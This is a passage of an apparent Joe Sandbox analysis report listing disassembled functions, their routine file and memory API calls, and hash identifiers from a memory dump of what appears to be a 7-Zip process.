                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
                                                                                                                                                                                                                                                              • Instruction ID: 9be42f7ac19ae0319d1f9c501cda83b12c6eff409285a507b5437199059c40cf
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1331A363B2569486CB70DF15E4904AE77A3F7887A4B58823AEF4E47758DB38C882C714
                                                                                                                                                                                                                                                              Function 006DA9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
                                                                                                                                                                                                                                                              • Instruction ID: 0236401a18e2b9d2886678f57a6790aa89e60639b6709fc24d45655b6bdec455
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E611876130854051DA50EA65E5512EA9762EBD13F0F441326FBAE87BF9DE28C98BCB04
                                                                                                                                                                                                                                                              Function 006DCF80 Relevance: 5.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3934437811-0
                                                                                                                                                                                                                                                              • Opcode ID: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
                                                                                                                                                                                                                                                              • Instruction ID: f09d49ae420dbdc3183bb558c7d0663887bc66f7b00673708751b5cabd053426
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CF11B4A37006808BCA709F25E8503DABB52EB923B4F480315EFAD077A9DF28D54AC300
                                                                                                                                                                                                                                                              Function 006D01A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
                                                                                                                                                                                                                                                              • Instruction ID: 290a28663ea43ea66c0b82ee38b5345ffff9dfe07d6479c378fd83990b716a17
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BD01DFB220454040CD60EB21F4551EE9323EBC57E4F441315BF9D577A9CE24C6C6C708
                                                                                                                                                                                                                                                              Function 006B8CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B89D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 006B89EA
                                                                                                                                                                                                                                                              • CreateFileW.KERNELBASE ref: 006B8D51
                                                                                                                                                                                                                                                              • CreateFileW.KERNEL32 ref: 006B8DA4
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B8DB2
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateFile$CloseHandlefree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 210839660-0
                                                                                                                                                                                                                                                              • Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
                                                                                                                                                                                                                                                              • Instruction ID: 239d3e0cf44cecc49b1708f152807b0f5891ada1d2420d1e6a7c7defa83fbe81
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A2219D722046819AC7A09F15B8516DA6729B7967F4F540326EFB543BE4CF38C8A6CB00
                                                                                                                                                                                                                                                              Function 006F2CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B3274: memmove.MSVCRT ref: 006B32AC
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2D41
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2DCF
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F2DFF
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$fputcfreememmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1158454270-0
                                                                                                                                                                                                                                                              • Opcode ID: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
                                                                                                                                                                                                                                                              • Instruction ID: fd95cba9480e63e62993767f3899b994b4d9d812a4e5773088899d24e87d9df4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A92192E230460781CF20EF25E8713AF63A2EB85BE4F449221EA5F47768DE3CC5818B04
                                                                                                                                                                                                                                                              Function 006BCE1C Relevance: 3.9, APIs: 3, Instructions: 178COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorLast$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3796167841-0
                                                                                                                                                                                                                                                              • Opcode ID: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
                                                                                                                                                                                                                                                              • Instruction ID: c2fbacb28d748d75940a1acbb87f77901b9a72036b19b54a798080eb78f0e37a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 385194A2310755A7DF25DE3AD5407F923A6FB44798F140126EF0A8BB50EB39D9E6C700
                                                                                                                                                                                                                                                              Function 006B2300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputc
                                                                                                                                                                                                                                                              • String ID: Kernel
                                                                                                                                                                                                                                                              • API String ID: 1992160199-1736990243
                                                                                                                                                                                                                                                              • Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
                                                                                                                                                                                                                                                              • Instruction ID: 07bf5619df900a6f6e7834068438a1f3b751bc78fad5182756eb5274311fb73b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 15C09296B94A0882EF181BBBF8853391222DB5DFA1F186030CE1D4B390DA2DD4E6C765
                                                                                                                                                                                                                                                              Function 006E3D58 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 93COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32 ref: 006E3E2A
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorExceptionLastThrowmalloc
                                                                                                                                                                                                                                                              • String ID: hm
                                                                                                                                                                                                                                                              • API String ID: 2114622545-1496015800
                                                                                                                                                                                                                                                              • Opcode ID: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
                                                                                                                                                                                                                                                              • Instruction ID: fb807b17a41cdd0506ed3dd5e616ce72d3176800d160744e9fd8b8bc8bc9d946
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6D31A073202B9186DB159F2AD9983A9B3A6FB84FD0F1845359F5A07754EF38C996C300
                                                                                                                                                                                                                                                              Function 006FB1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                                • Part of subcall function 006B2B04: _CxxThrowException.MSVCRT ref: 006B2B2D
                                                                                                                                                                                                                                                                • Part of subcall function 006B2B04: free.MSVCRT ref: 006B2B44
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrowfputsfreememset
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3104931167-0
                                                                                                                                                                                                                                                              • Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
                                                                                                                                                                                                                                                              • Instruction ID: 38a28de9b81d6803c8b4cf08078531c30e71c703c152047c202cd1e3b8a9fba2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DD01C4B370069496E705DF67EA807AE2762F759B94F089022DF0807711DF74D8A6C310
                                                                                                                                                                                                                                                              Function 006B8A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • SetFilePointer.KERNELBASE(?,?,00000003,?,006B8E1D), ref: 006B8A99
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,00000003,?,006B8E1D), ref: 006B8AA6
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2976181284-0
                                                                                                                                                                                                                                                              • Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
                                                                                                                                                                                                                                                              • Instruction ID: f00c38a12eeb0cbef06b3bbba78619565ec4224ae1c2ae9e94b386408a5f2e0e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C3F0FCB2B017C487DF209B69D8447E8275BEB59798F6C4022CA0843750DF2AC8D2C710
                                                                                                                                                                                                                                                              Function 006F0994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputcfputsfree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2822829076-0
                                                                                                                                                                                                                                                              • Opcode ID: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
                                                                                                                                                                                                                                                              • Instruction ID: 83804cdd449218e905aa262c0326bf9144170bfc16155ec777f1a63d5bdaaa9a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4CF082A320094480CA30DB25E85535E5322E788BF8F484320EF6D477E9DE28C5C6C704
                                                                                                                                                                                                                                                              Function 006E4035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006E404D
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006E4087
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: free.MSVCRT ref: 006B3431
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: memmove.MSVCRT ref: 006B344C
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memmove$ExceptionThrowfreemalloc
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1415420288-0
                                                                                                                                                                                                                                                              • Opcode ID: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
                                                                                                                                                                                                                                                              • Instruction ID: 88b466830e45c83e54179d130fe47f4fe3db04fbdde135ab4935a07d18f52867
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D331E46730A6C59ACA71EF25E1942EEB762F791340F404426C78D43B59EF38D69ACB00
                                                                                                                                                                                                                                                              Function 006E4054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006E4065
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006E4087
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: free.MSVCRT ref: 006B3431
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: memmove.MSVCRT ref: 006B344C
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memmove$ExceptionThrowfreemalloc
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1415420288-0
                                                                                                                                                                                                                                                              • Opcode ID: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
                                                                                                                                                                                                                                                              • Instruction ID: a3815a1083b365d2e3f91e25c49afdc7af2faacfcf72bc8f2328ae8529689d46
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F31190A23066C592CE71EB26F4952EEA312E791390F80442ACB9D47B55DF38C6CACB00
                                                                                                                                                                                                                                                              Function 006D9A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
